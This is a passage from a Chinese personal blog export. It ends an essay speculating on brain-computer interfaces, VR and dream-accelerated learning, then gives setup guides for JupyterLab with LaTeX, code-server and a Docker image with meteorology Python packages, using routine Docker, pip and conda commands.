隐私安全。现在就连手机的隐私问题也是乱得一塌糊涂，手机能接收的个人相关信息就有位置，时间，照片，如果有连接手环，智能体脂秤，能监测的信息就更多了。目前马斯克公司踏出了第一步，也许他们现在不清楚，哪一段数据具体指什么，只能用机器学习做个模式分析，但谁能保证以后呢？大数据的力量我们都是有目共睹的，几个国家联合已经完成了人类基因组测序。如果脑电波信号的指征也被完全识别，到时候，人与人之间大概毫无秘密可言。 现在担心这些问题还为时尚早，问题就是在实践中发现和解决的嘛。不过我个人更看好“无创的”脑机接口方式。打个比方说，马斯克的脑机接口相当于有线连接，无创的脑机接口相当于隔着头盖骨的无线通信。虽然可能信号质量不如有线好，无线的显然更方便。\n梦境研究 目前的VR（虚拟现实）也面临着无线还是有线的问题，毕竟硬件条件还未完全同步。\nVR游戏蓬勃发展，像BeatSaber，Super Hot VR，刀剑大师， Eagle Fight，VRChat一类的游戏，带给玩家自由度更高的，新鲜刺激的游戏体验。\n去年下半年《刀剑神域》第三季开播，刀剑世界中的攻城狮们已经开发到第四世代机Soul Translator。这里涉及到一个“摇光”的概念。\n看过《盗梦空间》的盆友应该熟悉这样一个设定，即梦境中的时间是现实的倍速。现实生活中你可能也有过这样的感受，明明只是睡了一小会，但是感觉在梦中仿佛过了几天，一个星期，甚至几年这样。一个俏皮的说法是白日梦，古典一点的说法是黄粱一梦。\n《枕中记》 唐开元七年（公元719年），卢生郁郁不得志，骑着青驹穿着短衣进京赶考，结果功名不就，垂头丧气。 一天，旅途中经过邯郸，在客店里遇见了得神仙术的道士吕翁（明代剧作家汤显祖创作的《邯郸记》，将吕翁改为八仙之一的吕洞宾），卢生自叹贫困，道士吕翁便拿出一个瓷枕头让他枕上。卢生倚枕而卧，一入梦乡便娶了美丽温柔、出身清河崔氏的妻子，中了进士，升为陕州牧、京兆尹，最后荣升为户部尚书兼御史大夫、中书令，封为燕国公。他的5个孩子也高官厚禄，嫁娶高门。卢生儿孙满堂，享尽荣华富贵。80岁时，生病久治不愈，终于死亡。断气时，卢生一惊而醒，转身坐起，左右一看，一切如故，吕翁仍坐在旁边，店主人蒸的黄粱饭（黄米饭）还在锅里哩！即黄粱梦（黄粱一梦）的由来也是来于此了。\n如果在基于安全等考虑的基础上，我们将人脑的机能全部解析了出来，并实现了Soul Translator这样既能翻译脑信号又能实现加速梦境的机器的大范围普及（大概像今天我们人人有电脑，人人有手机这样的地步）。梦境的世界对我们不再陌生，我们能用梦做些什么呢？\n首先，点名批评异度侵入 ID:INVADED中的约翰·沃克先生，梦境并不是法外之地。可能普及脑机接口后不久，就会有关于梦境中行为和道德伦理的讨论。VRChat刚上线时，出现不少男性玩家专门去看女性模型的敏感部位的不雅行为，甚至还有粗鲁地叫嚣着“VR里摸你一下现实中又不会少块肉”的“撸”模型的行为。VRChat对此专门做了一次更新，添加了安全空间的约束，玩家必须保持一定距离，否则什么也看不到。\n那么，相似的，梦境世界中的自由度比目前的VR更高，这意味着玩家可以在里面做出与现实一样的行为，并接受到近乎真实的反馈，这听起来是个好事。但如果有不法分子抱有不良的目的利用梦境，那可能会对受害者造成严重的心理伤害。\n或者我换个说法，人们可能会遇到如下问题：\n在梦境中犯罪算不算犯法？比如杀人，只是将角色清除，宿主不受影响；还是近乎真实的物理引擎并实时反馈创伤痛感，窒息，晕厥等感受的“角色清除”？ 梦境中被“不良清除”是否对主人格有影响？ 其次，梦境系统可能会大范围应用到教育中去。最主要的当然是因为梦境可以加速，想象一下，你现实中睡一觉，第二天就会大学高数了，是多么爽的一件事。\n目前教育的一大问题就是时间太长，虽然一些媒体都发声号召“终身学习”，但义务教育和常识性的教育就很让人吃力了。几千年的历史，听着让人自豪，学起来就很痛苦了。不仅要知道过去的，还要了解现世的，随着历史长河越来越长，青少年要学习的知识越来越多，但人的寿命不是无限的。这矛盾积累到最后，肯定会有一个爆发。即，一个人即使保证最高效率的学习（保证生理作息的最大限度的读书学习），要学完能在社会上立足的“常识”的时间超过他余下寿命能工作产出的时间。假设人寿命80岁，他要学习40年才算完成“义务教育”，才算一个现在的“初中毕业生”的水平，才能获得一般的工作的机会（那个时候可能擦盘子的活也找不到了，全丢给机器人干了）。即便那时我们实现了共同富裕，生产生活大部分都给机器人干了，我们只是吃吃睡睡然后学习，学到40岁初中毕业，60岁高中毕业，80岁大学毕业，然后嗝屁了。这时候不适合感叹“朝闻道夕死可矣”，只有输入的你和一个硬盘有什么区别，还不如人家硬盘存储高效。也不用说什么“学中做，做中学”“产学研”融合，学习这件事，大部分时候都是一个纯支出的活动。\n教育年限太长带来的问题就是资源浪费。如果学生在梦境系统中学习呢，利用梦境加速原理，脑发育达到一定水平之后的青少年，接入Soul Translator，在梦境中完成了40年的学习达到“初中水平”，脱下梦境装置也只是10多岁的少年，80年大学毕业后也只是20多岁的青年，正是年富力强之时，而且那时候的20多岁的人远比现在20多岁的人要优秀得多。而且体育课也会回归体育老师，其他专业课老师不用霸占体育课了，毕竟专业性的知识在梦境系统中学习更高效。现实世界中反而要好好锻炼身体，这时候多活一秒，相当于多活了一个月。\n行业中的交叉更频繁，更复杂。之前，跨界不容易实现，因为隔行如隔山，从头学起又浪费一大段时间。有了梦境系统，即便两个毫不相关的行业的人，在商务接洽前用现实的一小时学习一下梦境一年的专业速成课，也能达到很好的交叉效果。\n虚拟人格 除非破解不老不死的密码，否则寿命都是有限的。梦境系统虽然不能加长生命的长度，但是它确实拓宽了生命的宽度，而且是好几倍。有一种能“长生”的方法就是构建虚拟人格，将人的记忆，性格等完全复制到计算机上，只要计算机的数据不被破坏，“你”将一直存在。关于这个概念可以看角色人物茅场晶彦。只要有能源有数据，“你”就不会“死”。真正做到了“塔在人在”。\n结语 关于脑科学还有许多要研究的地方，我无比期待着，梦境时代的到来。\n","date":"2020-03-10T01:13:52Z","image":"https://images.pexels.com/photos/3761111/pexels-photo-3761111.jpeg?cs=srgb\u0026dl=pexels-3761111.jpg\u0026fm=jpg","permalink":"/post/%E8%84%91%E7%A7%91%E5%AD%A6%E8%83%BD%E5%A4%9F%E7%BB%99vr%E9%A2%86%E5%9F%9F%E5%B8%A6%E6%9D%A5%E5%90%AF%E7%A4%BA/","title":"脑科学能够给VR领域带来启示"},{"content":"参考利用JupyterLab的扩展实现LaTex文件的编译\n1docker exec -it jupytercgmsabefcn bash 2apt install texlive-full 3pip install jupyterlab_latex 4jupyter serverextension enable --sys-prefix jupyterlab_latex 5jupyter labextension install @jupyterlab/latex 在jupyter_notebook_config.py文件里添加一句话实现PdfLaTex模式编译：\n1c.LatexConfig.latex_command = \u0026#39;pdflatex\u0026#39; 自定义LaTex的编译模式，默认是XeLaTex模式。效果如图，不过只能编译简单的一些包，还有字体缺失的问题存在。\n完整 jupyter 镜像已上传至阿里云，拉取命令如下：\n1docker pull registry.cn-shanghai.aliyuncs.com/bugatii100peagle/jupytercgmsabefcnlatex:v1.1 full 包是默认安装中文 cjk 包的，如下：\n1After this operation, 3,546 MB of additional disk space will be used. 2 3 The following additional packages will be installed: 4 aglfn asymptote asymptote-doc biber blt chktex cm-super cm-super-minimal context context-modules dvidvi dvipng feynmf 5 fonts-adf-accanthis fonts-adf-berenis fonts-adf-gillius fonts-adf-universalis fonts-arphic-bkai00mp fonts-arphic-bsmi00lp 6 fonts-arphic-gbsn00lp fonts-arphic-gkai00mp fonts-baekmuk fonts-cabin fonts-comfortaa fonts-croscore 7 fonts-crosextra-caladea fonts-crosextra-carlito fonts-ebgaramond fonts-ebgaramond-extra fonts-font-awesome 8 fonts-freefont-otf fonts-freefont-ttf fonts-gfs-artemisia fonts-gfs-baskerville fonts-gfs-bodoni-classic 9 fonts-gfs-complutum fonts-gfs-didot fonts-gfs-didot-classic fonts-gfs-gazis fonts-gfs-neohellenic fonts-gfs-olga 10 fonts-gfs-porson fonts-gfs-solomos fonts-gfs-theokritos fonts-go fonts-hosny-amiri fonts-ipaexfont-gothic 11 fonts-ipaexfont-mincho fonts-ipafont-gothic fonts-ipafont-mincho fonts-junicode fonts-lato fonts-linuxlibertine 12 fonts-lobster fonts-lobstertwo fonts-noto-hinted fonts-noto-mono fonts-oflb-asana-math fonts-open-sans fonts-roboto-hinted 13 fonts-sil-gentium fonts-sil-gentium-basic fonts-sil-gentiumplus fonts-sil-gentiumplus-compact fonts-sil-padauk fonts-stix 14 fonts-texgyre fonts-unfonts-core fonts-unfonts-extra fragmaster freeglut3 ghostscript gsfonts imagemagick imagemagick-6.q16 15 info javascript-common lacheck latex-cjk-all latex-cjk-chinese latex-cjk-chinese-arphic-bkai00mp 16 latex-cjk-chinese-arphic-bsmi00lp latex-cjk-chinese-arphic-gbsn00lp latex-cjk-chinese-arphic-gkai00mp latex-cjk-common 17 latex-cjk-japanese latex-cjk-japanese-wadalab latex-cjk-korean latex-cjk-thai latexdiff latexmk lcdf-typetools 18 libalgorithm-c3-perl libauthen-sasl-perl libautovivification-perl libb-hooks-endofscope-perl libb-hooks-op-check-perl 19 libbtparse1 libbusiness-isbn-data-perl libbusiness-isbn-perl libbusiness-ismn-perl libbusiness-issn-perl 20 libclass-accessor-perl libclass-c3-perl libclass-c3-xs-perl libclass-data-inheritable-perl libclass-factory-util-perl 21 libclass-inspector-perl libclass-method-modifiers-perl libclass-singleton-perl libdata-compare-perl libdata-dump-perl 22 libdata-optlist-perl libdata-uniqid-perl libdate-simple-perl libdatetime-calendar-julian-perl 23 libdatetime-format-builder-perl libdatetime-format-strptime-perl libdatetime-locale-perl libdatetime-perl 24 libdatetime-timezone-perl libdevel-callchecker-perl libdevel-caller-perl libdevel-globaldestruction-perl 25 libdevel-lexalias-perl libdevel-stacktrace-perl libdist-checkconflicts-perl libdjvulibre-text libdjvulibre21 26 libdouble-conversion1 libdynaloader-functions-perl libegl-mesa0 libegl1 libemail-date-format-perl libemf1 27 libencode-eucjpms-perl libencode-hanextra-perl libencode-jis2k-perl libencode-locale-perl libeval-closure-perl libevdev2 28 libexception-class-perl libexporter-tiny-perl libfile-find-rule-perl libfile-homedir-perl libfile-listing-perl 29 libfile-sharedir-perl libfile-slurper-perl libfile-which-perl libfont-afm-perl libfontenc1 libgbm1 libgirara-gtk3-3 30 libglapi-mesa libglu1-mesa libglx-mesa0 libgs9 libgs9-common libgudev-1.0-0 libhtml-form-perl libhtml-format-perl 31 libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhttp-cookies-perl libhttp-daemon-perl libhttp-date-perl 32 libhttp-message-perl libhttp-negotiate-perl libilmbase12 libinput-bin libinput10 libio-html-perl libio-socket-ssl-perl 33 libipc-run3-perl libipc-shareable-perl libjs-jquery libjson-c3 liblingua-translit-perl liblist-allutils-perl 34 liblist-moreutils-perl liblist-someutils-perl liblist-utilsby-perl libllvm9 liblog-dispatch-perl liblog-log4perl-perl 35 liblwp-mediatypes-perl liblwp-protocol-https-perl libmagic-mgc libmagic1 libmagickcore-6.q16-3-extra libmail-sendmail-perl 36 libmailtools-perl libmime-charset-perl libmime-lite-perl libmime-types-perl libmodule-implementation-perl 37 libmodule-runtime-perl libmro-compat-perl libmtdev1 libnamespace-autoclean-perl libnamespace-clean-perl libnet-http-perl 38 libnet-libidn-perl libnet-smtp-ssl-perl libnet-ssleay-perl libnetpbm10 libnotify4 libnumber-compare-perl libopenexr22 39 libosmesa6 libosp5 libostyle1c2 libpackage-deprecationmanager-perl libpackage-stash-perl libpackage-stash-xs-perl 40 libpadwalker-perl libparams-classify-perl libparams-util-perl libparams-validate-perl libparams-validationcompiler-perl 41 libperlio-utf8-strict-perl libplot2c2 libpoppler-qt5-1 libpstoedit0c2a libqt5core5a libqt5dbus5 libqt5gui5 libqt5network5 42 libqt5svg5 libqt5widgets5 libqt5xml5 libreadonly-perl libref-util-perl libref-util-xs-perl libregexp-common-perl 43 librole-tiny-perl libruby2.5 libscalar-list-utils-perl libsigsegv2 libsombok3 libsort-key-perl libspecio-perl 44 libsub-exporter-perl libsub-exporter-progressive-perl libsub-identify-perl libsub-install-perl libsub-name-perl 45 libsub-quote-perl libsys-hostname-long-perl libtcl8.6 libtext-bibtex-perl libtext-csv-perl libtext-csv-xs-perl 46 libtext-glob-perl libtext-roman-perl libtext-unidecode-perl libtie-cycle-perl libtimedate-perl libtk8.6 libtry-tiny-perl 47 libunicode-collate-perl libunicode-linebreak-perl liburi-perl libutempter0 libvariable-magic-perl libwacom-bin 48 libwacom-common libwacom2 libwayland-server0 libwebpdemux2 libwmf0.2-7 libwww-perl libwww-robotrules-perl libxcb-icccm4 49 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-util1 libxcb-xinerama0 libxcb-xkb1 50 libxkbcommon-x11-0 libxml-libxml-perl libxml-libxml-simple-perl libxml-libxslt-perl libxml-namespacesupport-perl 51 libxml-parser-perl libxml-sax-base-perl libxml-sax-expat-perl libxml-sax-perl libxml-writer-perl libxmuu1 libxtst6 52 libxxf86dga1 libyaml-tiny-perl libzip4 netbase netpbm notification-daemon openjade perl-openssl-defaults pfb2t1c2pfb prerex 53 ps2eps pstoedit psutils purifyeps python3-olefile python3-pil python3-pil.imagetk python3-tk qt5-gtk-platformtheme 54 qttranslations5-l10n rake ruby ruby-did-you-mean ruby-minitest ruby-net-telnet ruby-power-assert ruby-test-unit ruby2.5 55 rubygems-integration sgml-base tex-gyre texinfo texlive-bibtex-extra texlive-extra-utils texlive-font-utils 56 texlive-fonts-extra-doc texlive-fonts-extra-links texlive-fonts-recommended-doc texlive-formats-extra texlive-games 57 texlive-humanities texlive-humanities-doc texlive-lang-arabic texlive-lang-chinese texlive-lang-cjk texlive-lang-cyrillic 58 texlive-lang-czechslovak texlive-lang-english texlive-lang-european texlive-lang-french texlive-lang-german 59 texlive-lang-greek texlive-lang-italian texlive-lang-japanese texlive-lang-korean texlive-lang-other texlive-lang-polish 60 texlive-lang-portuguese texlive-lang-spanish texlive-latex-base-doc texlive-latex-extra-doc texlive-latex-recommended-doc 61 texlive-luatex texlive-metapost texlive-metapost-doc texlive-music texlive-pictures-doc texlive-pstricks 62 texlive-pstricks-doc texlive-publishers texlive-publishers-doc texlive-science texlive-science-doc tk8.6-blt2.5 vprerex 63 x11-utils xbitmaps xterm zathura zathura-pdf-poppler zip 64Suggested packages: 65 gv blt-demo perl-tk fontforge context-nonfree context-doc-nonfree ghostscript-x imagemagick-doc autotrace cups-bsd | lpr 66 | lprng curl enscript gimp gnuplot graphviz groff-base hp2xx html2ps libwmf-bin mplayer povray radiance sane-utils transfig 67 ufraw-batch texinfo-doc-nonfree apache2 | lighttpd | httpd auctex hbf-cns40-b5 hbf-jfs56 hbf-kanji48 libdigest-hmac-perl 68 libgssapi-perl libgd-barcode-perl libscalar-properties-perl libdbd-csv-perl liblog-dispatch-filerotate-perl librrds-perl 69 libxml-dom-perl libcrypt-ssleay-perl file libjxr-tools libpod2-base-perl default-mta | mail-transport-agent 70 libmojolicious-perl libscalar-number-perl qt5-image-formats-plugins qtwayland5 libtest-fatal-perl tcl8.6 tk8.6 71 libwmf0.2-7-gtk libauthen-ntlm-perl doc-base sgml-data xfig | ivtools-bin | tgif | transfig python-pil-doc python3-pil-dbg 72 python3-pil.imagetk-dbg tix python3-tk-dbg ri ruby-dev bundler sgml-base-doc xindy mesa-utils xfonts-cyrillic www-browser 73 zathura-ps zathura-djvu zathura-cb 74Recommended packages: 75 fonts-freefont fonts-droid-fallback 76The following NEW packages will be installed: 77 aglfn asymptote asymptote-doc biber blt chktex cm-super cm-super-minimal context context-modules dvidvi dvipng feynmf 78 fonts-adf-accanthis fonts-adf-berenis fonts-adf-gillius fonts-adf-universalis fonts-arphic-bkai00mp fonts-arphic-bsmi00lp 79 fonts-arphic-gbsn00lp fonts-arphic-gkai00mp fonts-baekmuk fonts-cabin fonts-comfortaa fonts-croscore 80 fonts-crosextra-caladea fonts-crosextra-carlito fonts-ebgaramond fonts-ebgaramond-extra fonts-font-awesome 81 fonts-freefont-otf fonts-freefont-ttf fonts-gfs-artemisia fonts-gfs-baskerville fonts-gfs-bodoni-classic 82 fonts-gfs-complutum fonts-gfs-didot fonts-gfs-didot-classic fonts-gfs-gazis fonts-gfs-neohellenic fonts-gfs-olga 83 fonts-gfs-porson fonts-gfs-solomos fonts-gfs-theokritos fonts-go fonts-hosny-amiri fonts-ipaexfont-gothic 84 fonts-ipaexfont-mincho fonts-ipafont-gothic fonts-ipafont-mincho fonts-junicode fonts-lato fonts-linuxlibertine 85 fonts-lobster fonts-lobstertwo fonts-noto-hinted fonts-noto-mono fonts-oflb-asana-math fonts-open-sans fonts-roboto-hinted 86 fonts-sil-gentium fonts-sil-gentium-basic fonts-sil-gentiumplus fonts-sil-gentiumplus-compact fonts-sil-padauk fonts-stix 87 fonts-texgyre fonts-unfonts-core fonts-unfonts-extra fragmaster freeglut3 ghostscript gsfonts imagemagick imagemagick-6.q16 88 info javascript-common lacheck latex-cjk-all latex-cjk-chinese latex-cjk-chinese-arphic-bkai00mp 89 latex-cjk-chinese-arphic-bsmi00lp latex-cjk-chinese-arphic-gbsn00lp latex-cjk-chinese-arphic-gkai00mp latex-cjk-common 90 latex-cjk-japanese latex-cjk-japanese-wadalab latex-cjk-korean latex-cjk-thai latexdiff latexmk lcdf-typetools 91 libalgorithm-c3-perl libauthen-sasl-perl libautovivification-perl libb-hooks-endofscope-perl libb-hooks-op-check-perl 92 libbtparse1 libbusiness-isbn-data-perl libbusiness-isbn-perl libbusiness-ismn-perl libbusiness-issn-perl 93 libclass-accessor-perl libclass-c3-perl libclass-c3-xs-perl libclass-data-inheritable-perl libclass-factory-util-perl 94 libclass-inspector-perl libclass-method-modifiers-perl libclass-singleton-perl libdata-compare-perl libdata-dump-perl 95 libdata-optlist-perl libdata-uniqid-perl libdate-simple-perl libdatetime-calendar-julian-perl 96 libdatetime-format-builder-perl libdatetime-format-strptime-perl libdatetime-locale-perl libdatetime-perl 97 libdatetime-timezone-perl libdevel-callchecker-perl libdevel-caller-perl libdevel-globaldestruction-perl 98 libdevel-lexalias-perl libdevel-stacktrace-perl libdist-checkconflicts-perl libdjvulibre-text libdjvulibre21 99 libdouble-conversion1 libdynaloader-functions-perl libegl-mesa0 libegl1 libemail-date-format-perl libemf1 100 libencode-eucjpms-perl libencode-hanextra-perl libencode-jis2k-perl libencode-locale-perl libeval-closure-perl libevdev2 101 libexception-class-perl libexporter-tiny-perl libfile-find-rule-perl libfile-homedir-perl libfile-listing-perl 102 libfile-sharedir-perl libfile-slurper-perl libfile-which-perl libfont-afm-perl libfontenc1 libgbm1 libgirara-gtk3-3 103 libglu1-mesa libgudev-1.0-0 libhtml-form-perl libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl 104 libhttp-cookies-perl libhttp-daemon-perl libhttp-date-perl libhttp-message-perl libhttp-negotiate-perl libilmbase12 105 libinput-bin libinput10 libio-html-perl libio-socket-ssl-perl libipc-run3-perl libipc-shareable-perl libjs-jquery 106 libjson-c3 liblingua-translit-perl liblist-allutils-perl liblist-moreutils-perl liblist-someutils-perl liblist-utilsby-perl 107 libllvm9 liblog-dispatch-perl liblog-log4perl-perl liblwp-mediatypes-perl liblwp-protocol-https-perl libmagic-mgc libmagic1 108 libmagickcore-6.q16-3-extra libmail-sendmail-perl libmailtools-perl libmime-charset-perl libmime-lite-perl 109 libmime-types-perl libmodule-implementation-perl libmodule-runtime-perl libmro-compat-perl libmtdev1 110 libnamespace-autoclean-perl libnamespace-clean-perl libnet-http-perl libnet-libidn-perl libnet-smtp-ssl-perl 111 libnet-ssleay-perl libnetpbm10 libnotify4 libnumber-compare-perl libopenexr22 libosmesa6 libosp5 libostyle1c2 112 libpackage-deprecationmanager-perl libpackage-stash-perl libpackage-stash-xs-perl libpadwalker-perl libparams-classify-perl 113 libparams-util-perl libparams-validate-perl libparams-validationcompiler-perl libperlio-utf8-strict-perl libplot2c2 114 libpoppler-qt5-1 libpstoedit0c2a libqt5core5a libqt5dbus5 libqt5gui5 libqt5network5 libqt5svg5 libqt5widgets5 libqt5xml5 115 libreadonly-perl libref-util-perl libref-util-xs-perl libregexp-common-perl librole-tiny-perl libruby2.5 116 libscalar-list-utils-perl libsigsegv2 libsombok3 libsort-key-perl libspecio-perl libsub-exporter-perl 117 libsub-exporter-progressive-perl libsub-identify-perl libsub-install-perl libsub-name-perl libsub-quote-perl 118 libsys-hostname-long-perl libtcl8.6 libtext-bibtex-perl libtext-csv-perl libtext-csv-xs-perl libtext-glob-perl 119 libtext-roman-perl libtext-unidecode-perl libtie-cycle-perl libtimedate-perl libtk8.6 libtry-tiny-perl 120 libunicode-collate-perl libunicode-linebreak-perl liburi-perl libutempter0 libvariable-magic-perl libwacom-bin 121 libwacom-common libwacom2 libwayland-server0 libwebpdemux2 libwmf0.2-7 libwww-perl libwww-robotrules-perl libxcb-icccm4 122 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-util1 libxcb-xinerama0 libxcb-xkb1 123 libxkbcommon-x11-0 libxml-libxml-perl libxml-libxml-simple-perl libxml-libxslt-perl libxml-namespacesupport-perl 124 libxml-parser-perl libxml-sax-base-perl libxml-sax-expat-perl libxml-sax-perl libxml-writer-perl libxmuu1 libxtst6 125 libxxf86dga1 libyaml-tiny-perl libzip4 netbase netpbm notification-daemon openjade perl-openssl-defaults pfb2t1c2pfb prerex 126 ps2eps pstoedit psutils purifyeps python3-olefile python3-pil python3-pil.imagetk python3-tk qt5-gtk-platformtheme 127 qttranslations5-l10n rake ruby ruby-did-you-mean ruby-minitest ruby-net-telnet ruby-power-assert ruby-test-unit ruby2.5 128 rubygems-integration sgml-base tex-gyre texinfo texlive-bibtex-extra texlive-extra-utils texlive-font-utils 129 texlive-fonts-extra-doc texlive-fonts-extra-links texlive-fonts-recommended-doc texlive-formats-extra texlive-full 130 texlive-games texlive-humanities texlive-humanities-doc texlive-lang-arabic texlive-lang-chinese texlive-lang-cjk 131 texlive-lang-cyrillic texlive-lang-czechslovak texlive-lang-english texlive-lang-european texlive-lang-french 132 texlive-lang-german texlive-lang-greek texlive-lang-italian texlive-lang-japanese texlive-lang-korean texlive-lang-other 133 texlive-lang-polish texlive-lang-portuguese texlive-lang-spanish texlive-latex-base-doc texlive-latex-extra-doc 134 texlive-latex-recommended-doc texlive-luatex texlive-metapost texlive-metapost-doc texlive-music texlive-pictures-doc 135 texlive-pstricks texlive-pstricks-doc texlive-publishers texlive-publishers-doc texlive-science texlive-science-doc 136 tk8.6-blt2.5 vprerex x11-utils xbitmaps xterm zathura zathura-pdf-poppler zip ","date":"2020-02-29T14:34:55Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/19/cc49e7b5ae07e.jpeg","permalink":"/post/jupyterlab%E9%85%8D%E7%BD%AElatex%E7%8E%AF%E5%A2%83/","title":"Jupyterlab 配置 Latex 环境"},{"content":"我刚装完 Jupyterlab 就收到个推送，爱了爱了，这个 GitHub 的 Chrome 神仙插件把我整的服服帖帖的爱来了中介绍的 Sourcegraph 插件调用的就是 code-Server ，也就是所谓的服务器版本的VScode，接着又有一篇推荐的文章推荐一款神器：在浏览器中运行 vscode，随时随地写代码\n官方已经打包好了 Docker 镜像，咱直接 pull 就行，不过因为众所周知的原因，国内 pull 镜像一直比较慢，所以我上万能的阿里云容器服务网站，找到了别人打包好的。\n拉取镜像 1docker pull registry.cn-shanghai.aliyuncs.com/shuzhi-amd64/code-server:v2 运行和改密 参考官网issuse改密方法，以如下命令运行镜像。\n1docker run --name vscodeserver --user root -it -d -p 8443:8443 -p 8080:8080 -e PASSWORD=\u0026#39;yourpassword\u0026#39; -v `pwd`:/home/coder/project registry.cn-shanghai.aliyuncs.com/shuzhi-amd64/code-server:v2 打开浏览器，输入http://IP:8080即可访问。命令中-d代表在后台运行，如果你第一次安装，想看看有没有其他什么报错的话，去掉这个-d就行。这是没有配置SSL的运行方式，可能会导致部分功能无法使用，但是官网配置SSL的说法模棱两可，也不知道到底怎么个用法，我采用了--cer --cer-key的方法，但是运行后打开浏览器一片空白。对了，还有就是像 JupyterLab 和 Vscodesever 这样的在线编程的应用，设置反向代理反而会拖慢速度，不如直接 IP 地址加端口访问来的快。不知道是不是我配置的不规范的原因。总之，先这么凑合的用着。\n在线写Hexo博客不是梦。虽然我早就知道Hexo有这种插件，但是……我不用，哈哈哈。不够炫酷，不符合我的编程美学，那样和WP有什么区别（别打脸别打脸，哎，WP正香）。 有个设想，如果写个插件，或者CodeRunner写个新语言项，让他能自动发布，自动Hexo g -d ，镜像环境中安装好Hexo环境，然后用插件发布一下，挂载镜像目录到网站运行目录下，感觉可以搞一哈。腾讯云的WebIDE我之前用过有类似的功能，我先去看看有没有Hexo的插件，朋友们有没有什么推荐？\n","date":"2020-02-21T21:16:54Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/21/67991f9e7c044.png","permalink":"/post/code-server%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AFide/","title":"code-server 服务器端IDE"},{"content":"上两篇文章\nJupyterlab安装配置教程\nJupyter多用户配置\n中讲了Jupyter的主要部署方法，老实说，对新手很不友好，我也不想再经历一次这样的过程，尤其是Basemap的安装。所以，咱直接打包个镜像吧。不得不说Docker真是个拯救了无数程序猿秀发的好工具。\n使用截图 简单来说，这就是一个部署在服务器上的Anaconda，用的的Jupyterlab的界面，您可以随时随地在任意电脑上打开一个浏览器（IE除外），输入服务器的网址，用户密码就能打开，还能下载数据，计算，绘图，整合了常用的Grads，Fortran的内核，安装了Basemap，Metpy，Siphon，Atmos，ecmwf_api，NCL_to_Python等Python常用气象工具包。\nQuick Start 如果你想快速部署，而没有时间看完教程的话，看这里就好。或者看Gitee上本项目的主页。\n首先安装Docker，方法见Docker常用命令总结\n1docker pull registry.cn-shanghai.aliyuncs.com/bugatii100peagle/jupytercgmsabefcn:v1 2cd ~ 3mkdir jupyterlab 4mkdir jupyterlab/workspace 5docker run --name jupytercgmsabefcn -d -p 8000:8888 -v `pwd`:/workspace -w /workspace -e GRANT_SUDO=yes --user root registry.cn-shanghai.aliyuncs.com/bugatii100peagle/jupytercgmsabefcn:v1 jupyter-lab --no-browser --port=8888 --ip=0.0.0.0 --allow-root 预计安装时间4小时（博主使用家用WiFi，视网络环境时间可能有延长），其中安装Docker用 1~2 小时，拖取jupytercgmsabefcn镜像用2小时。run起来之后，浏览器打开http://IP:8080，密码是空密码，直接回车即可。\nTips 不要在jupyterlab直接挂在阿里云OSS，OSS擅长存储不擅长访问。 jupyterlab/workspace是用于暂存的工作空间，在此文件夹下读写数据和作图都比较快速。 jupyterlab下另建一个新文件夹用于挂载阿里云OSS或FTP，workspace下文件编写完成再归档至此OSS文件夹。既能保证数据不丢失，又能保证读写速度。 C 和 Grads 的插件 我的镜像是很久以前我就装好了的，拖取的是官方的 jupyter-science 已经预装好了python3 julia R 我后来又装了C Grads，至于怎么装的我忘了，不过机智的我打包了镜像。直接拖下来用就行。\n【 2020-02-20 14:26:59】我想起来了，好像是在Jupyter-Docker-stacks上找的jupyter-datascience-notebook，我好像还把Scipy删掉了。\n1docker pull registry.cn-shanghai.aliyuncs.com/bugatii100peagle/jupytercgrads 2docker run --name jupyter -d -p 8000:8888 --restart=always -v `pwd`/jupyterlab/workspace:/workspace -w /workspace -e GRANT_SUDO=yes --user root 127.0.0.1:5000/jupytercgrads jupyter-lab --no-browser --port=8888 --ip=0.0.0.0 --allow-root 安装运行参考我之前写的jupyterLab安装配置教程，运行界面如下\n气象绘图工具包 Metpy Siphon atmos 参考Meetpy Installation Guide和在Jupyter中安装Python包，docker exec -it jupyter bash进入镜像后，输入如下代码\n1python -m pip install metpy 2python -m pip install siphon atoms要手动安装，下载代码后再install\n1wget https://files.pythonhosted.org/packages/65/1b/9e08dbd6979877cb1d24b5b3ee607c91ece212b010b49715ca7443999e24/atmos-0.2.5.tar.gz 2tar -xvf atmos-0.2.5.tar.gz 3cd atmos-0.2.5 4nano setup.py 修改片段\n1from setuptools import setup 2from pip..req import parse_requirements 3#修改片段，不然会发生报错 ModuleNotFoundError: No module named \u0026#39;pip.req\u0026#39; 4from setuptools import setup 5from pip._internal.req import parse_requirements 保存退出再执行\n1python setup.py install 参考install quantopian时出现No module named pip.req的解决办法\n地图支持包Basemap 1conda update -n base conda 2conda update -n base conda # 对，更新两次，直到不会再提示更新 更新这步都很费时间，保守估计两小时。为什么说是估计呢，因为后面我没熬住，睡着了。然后参考解决conda的“Solving environment: failed”问题和anaconda安装basemap运行如下代码。\n1conda config --set channel_priority flexible 2conda install basemap 弹出如下信息即表示，已经找到basemap安装包，conda install basemap反而安装挺快，快到让我怀疑昨晚熬夜的两小时还失败了是不是幻觉。\n1The following NEW packages will be INSTALLED: 2 3 basemap conda-forge/linux-64::basemap-1.2.1-py37hd1be537_2 4 geos conda-forge/linux-64::geos-3.8.0-he1b5a44_0 5 proj4 conda-forge/linux-64::proj4-5.2.0-he1b5a44_1006 6 pyproj conda-forge/linux-64::pyproj-1.9.6-py37h516909a_1002 7 pyshp conda-forge/noarch::pyshp-2.1.0-py_0 测试运行，会遇到basemap KeyError \u0026lsquo;PROJ_LIB\u0026rsquo;解决办法，解决办法就是代码中指定目录运行。终端输入\n1whereis proj 2# 输出：proj: /usr/share/proj /opt/conda/bin/proj 浏览器打开jupyter,新建.ipynb文件，输入\n1%matplotlib inline 2import os 3os.environ[\u0026#39;PROJ_LIB\u0026#39;] = \u0026#34;/usr/share/proj\u0026#34; 4import numpy as np 5import matplotlib.pyplot as plt 6from mpl_toolkits.basemap import Basemap 7 8plt.figure(figsize=(8, 8)) 9m = Basemap(projection=\u0026#39;ortho\u0026#39;, resolution=None, lat_0=50, lon_0=-100) 10m.bluemarble(scale=0.5); 参考数据科学 IPython 笔记本 8.16 地理数据和 